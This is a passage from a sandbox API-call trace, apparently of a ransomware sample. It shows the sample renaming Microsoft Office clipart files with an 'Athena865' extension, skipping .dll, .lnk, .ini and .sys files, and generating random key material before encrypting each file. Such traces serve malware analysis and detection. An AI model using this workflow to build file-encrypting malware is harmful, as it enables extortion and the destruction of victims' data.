lpString2=".sys") returned 1 [0122.439] lstrlenW (lpString="BS00441_.WMF") returned 12 [0122.439] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.Athena865") returned 73 [0122.439] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.440] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3524) returned 1 [0122.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.441] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.441] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.441] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.444] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.445] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.445] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.445] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00442_.WMF" | out: lpString1="BS00442_.WMF") returned="BS00442_.WMF" [0122.445] lstrlenW (lpString="BS00442_.WMF") returned 12 [0122.445] lstrlenW (lpString="Athena865") returned 9 [0122.445] lstrcmpiW (lpString1="0442_.WMF", lpString2="Athena865") returned -1 [0122.446] lstrlenW (lpString=".dll") returned 4 [0122.446] lstrcmpiW (lpString1="BS00442_.WMF", lpString2=".dll") returned 1 [0122.446] lstrlenW (lpString=".lnk") returned 4 [0122.446] lstrcmpiW (lpString1="BS00442_.WMF", lpString2=".lnk") returned 1 [0122.446] lstrlenW (lpString=".ini") returned 4 [0122.446] lstrcmpiW (lpString1="BS00442_.WMF", lpString2=".ini") returned 1 [0122.446] lstrlenW (lpString=".sys") returned 4 [0122.446] lstrcmpiW (lpString1="BS00442_.WMF", lpString2=".sys") returned 1 [0122.446] lstrlenW (lpString="BS00442_.WMF") returned 12 [0122.446] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.Athena865") returned 73 [0122.446] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.447] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2488) returned 1 [0122.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.447] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.448] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.448] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.450] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.451] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.451] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.451] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00443_.WMF" | out: lpString1="BS00443_.WMF") returned="BS00443_.WMF" [0122.452] lstrlenW (lpString="BS00443_.WMF") returned 12 [0122.452] lstrlenW (lpString="Athena865") returned 9 [0122.452] lstrcmpiW (lpString1="0443_.WMF", lpString2="Athena865") returned -1 [0122.452] lstrlenW (lpString=".dll") returned 4 [0122.452] lstrcmpiW (lpString1="BS00443_.WMF", lpString2=".dll") returned 1 [0122.452] lstrlenW (lpString=".lnk") returned 4 [0122.452] lstrcmpiW (lpString1="BS00443_.WMF", lpString2=".lnk") returned 1 [0122.452] lstrlenW (lpString=".ini") returned 4 [0122.452] lstrcmpiW (lpString1="BS00443_.WMF", lpString2=".ini") returned 1 [0122.452] lstrlenW (lpString=".sys") returned 4 [0122.452] lstrcmpiW (lpString1="BS00443_.WMF", lpString2=".sys") returned 1 [0122.452] lstrlenW (lpString="BS00443_.WMF") returned 12 [0122.452] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.Athena865") returned 73 [0122.452] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.453] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1676) returned 1 [0122.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.453] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.454] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.454] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.457] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.458] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.458] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.458] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00444_.WMF" | out: lpString1="BS00444_.WMF") returned="BS00444_.WMF" [0122.458] lstrlenW (lpString="BS00444_.WMF") returned 12 [0122.458] lstrlenW (lpString="Athena865") returned 9 [0122.458] lstrcmpiW (lpString1="0444_.WMF", lpString2="Athena865") returned -1 [0122.458] lstrlenW (lpString=".dll") returned 4 [0122.458] lstrcmpiW (lpString1="BS00444_.WMF", lpString2=".dll") returned 1 [0122.458] lstrlenW (lpString=".lnk") returned 4 [0122.458] lstrcmpiW (lpString1="BS00444_.WMF", lpString2=".lnk") returned 1 [0122.458] lstrlenW (lpString=".ini") returned 4 [0122.458] lstrcmpiW (lpString1="BS00444_.WMF", lpString2=".ini") returned 1 [0122.458] lstrlenW (lpString=".sys") returned 4 [0122.458] lstrcmpiW (lpString1="BS00444_.WMF", lpString2=".sys") returned 1 [0122.458] lstrlenW (lpString="BS00444_.WMF") returned 12 [0122.459] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.Athena865") returned 73 [0122.459] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.461] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3896) returned 1 [0122.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.461] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.462] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.462] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.464] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.465] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.465] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.465] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00445_.WMF" | out: lpString1="BS00445_.WMF") returned="BS00445_.WMF" [0122.465] lstrlenW (lpString="BS00445_.WMF") returned 12 [0122.465] lstrlenW (lpString="Athena865") returned 9 [0122.465] lstrcmpiW (lpString1="0445_.WMF", lpString2="Athena865") returned -1 [0122.465] lstrlenW (lpString=".dll") returned 4 [0122.465] lstrcmpiW (lpString1="BS00445_.WMF", lpString2=".dll") returned 1 [0122.465] lstrlenW (lpString=".lnk") returned 4 [0122.465] lstrcmpiW (lpString1="BS00445_.WMF", lpString2=".lnk") returned 1 [0122.465] lstrlenW (lpString=".ini") returned 4 [0122.465] lstrcmpiW (lpString1="BS00445_.WMF", lpString2=".ini") returned 1 [0122.465] lstrlenW (lpString=".sys") returned 4 [0122.465] lstrcmpiW (lpString1="BS00445_.WMF", lpString2=".sys") returned 1 [0122.465] lstrlenW (lpString="BS00445_.WMF") returned 12 [0122.466] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.Athena865") returned 73 [0122.466] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.467] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3796) returned 1 [0122.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.467] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.468] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.468] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.470] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.471] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.471] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.471] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS00453_.WMF" | out: lpString1="BS00453_.WMF") returned="BS00453_.WMF" [0122.471] lstrlenW (lpString="BS00453_.WMF") returned 12 [0122.471] lstrlenW (lpString="Athena865") returned 9 [0122.471] lstrcmpiW (lpString1="0453_.WMF", lpString2="Athena865") returned -1 [0122.471] lstrlenW (lpString=".dll") returned 4 [0122.471] lstrcmpiW (lpString1="BS00453_.WMF", lpString2=".dll") returned 1 [0122.471] lstrlenW (lpString=".lnk") returned 4 [0122.471] lstrcmpiW (lpString1="BS00453_.WMF", lpString2=".lnk") returned 1 [0122.471] lstrlenW (lpString=".ini") returned 4 [0122.471] lstrcmpiW (lpString1="BS00453_.WMF", lpString2=".ini") returned 1 [0122.471] lstrlenW (lpString=".sys") returned 4 [0122.471] lstrcmpiW (lpString1="BS00453_.WMF", lpString2=".sys") returned 1 [0122.472] lstrlenW (lpString="BS00453_.WMF") returned 12 [0122.472] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.Athena865") returned 73 [0122.472] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.473] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2436) returned 1 [0122.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.473] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.474] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.474] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.476] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.477] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.477] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.477] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS01080_.WMF" | out: lpString1="BS01080_.WMF") returned="BS01080_.WMF" [0122.477] lstrlenW (lpString="BS01080_.WMF") returned 12 [0122.477] lstrlenW (lpString="Athena865") returned 9 [0122.477] lstrcmpiW (lpString1="1080_.WMF", lpString2="Athena865") returned -1 [0122.477] lstrlenW (lpString=".dll") returned 4 [0122.477] lstrcmpiW (lpString1="BS01080_.WMF", lpString2=".dll") returned 1 [0122.477] lstrlenW (lpString=".lnk") returned 4 [0122.477] lstrcmpiW (lpString1="BS01080_.WMF", lpString2=".lnk") returned 1 [0122.477] lstrlenW (lpString=".ini") returned 4 [0122.478] lstrcmpiW (lpString1="BS01080_.WMF", lpString2=".ini") returned 1 [0122.478] lstrlenW (lpString=".sys") returned 4 [0122.478] lstrcmpiW (lpString1="BS01080_.WMF", lpString2=".sys") returned 1 [0122.478] lstrlenW (lpString="BS01080_.WMF") returned 12 [0122.478] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.Athena865") returned 73 [0122.478] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.479] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2732) returned 1 [0122.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.479] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.480] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.480] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.483] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.484] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.484] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.484] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS01603_.WMF" | out: lpString1="BS01603_.WMF") returned="BS01603_.WMF" [0122.484] lstrlenW (lpString="BS01603_.WMF") returned 12 [0122.484] lstrlenW (lpString="Athena865") returned 9 [0122.484] lstrcmpiW (lpString1="1603_.WMF", lpString2="Athena865") returned -1 [0122.484] lstrlenW (lpString=".dll") returned 4 [0122.484] lstrcmpiW (lpString1="BS01603_.WMF", lpString2=".dll") returned 1 [0122.484] lstrlenW (lpString=".lnk") returned 4 [0122.484] lstrcmpiW (lpString1="BS01603_.WMF", lpString2=".lnk") returned 1 [0122.485] lstrlenW (lpString=".ini") returned 4 [0122.485] lstrcmpiW (lpString1="BS01603_.WMF", lpString2=".ini") returned 1 [0122.485] lstrlenW (lpString=".sys") returned 4 [0122.485] lstrcmpiW (lpString1="BS01603_.WMF", lpString2=".sys") returned 1 [0122.485] lstrlenW (lpString="BS01603_.WMF") returned 12 [0122.485] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.Athena865") returned 73 [0122.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.487] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7176) returned 1 [0122.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.487] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.488] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.488] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.490] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.491] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.491] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.491] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS01634_.WMF" | out: lpString1="BS01634_.WMF") returned="BS01634_.WMF" [0122.491] lstrlenW (lpString="BS01634_.WMF") returned 12 [0122.491] lstrlenW (lpString="Athena865") returned 9 [0122.491] lstrcmpiW (lpString1="1634_.WMF", lpString2="Athena865") returned -1 [0122.491] lstrlenW (lpString=".dll") returned 4 [0122.491] lstrcmpiW (lpString1="BS01634_.WMF", lpString2=".dll") returned 1 [0122.491] lstrlenW (lpString=".lnk") returned 4 [0122.491] lstrcmpiW (lpString1="BS01634_.WMF", lpString2=".lnk") returned 1 [0122.491] lstrlenW (lpString=".ini") returned 4 [0122.491] lstrcmpiW (lpString1="BS01634_.WMF", lpString2=".ini") returned 1 [0122.492] lstrlenW (lpString=".sys") returned 4 [0122.492] lstrcmpiW (lpString1="BS01634_.WMF", lpString2=".sys") returned 1 [0122.492] lstrlenW (lpString="BS01634_.WMF") returned 12 [0122.492] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.Athena865") returned 73 [0122.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.493] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3494) returned 1 [0122.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.493] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.494] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.494] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.496] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.497] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.497] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.497] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS01635_.WMF" | out: lpString1="BS01635_.WMF") returned="BS01635_.WMF" [0122.497] lstrlenW (lpString="BS01635_.WMF") returned 12 [0122.497] lstrlenW (lpString="Athena865") returned 9 [0122.497] lstrcmpiW (lpString1="1635_.WMF", 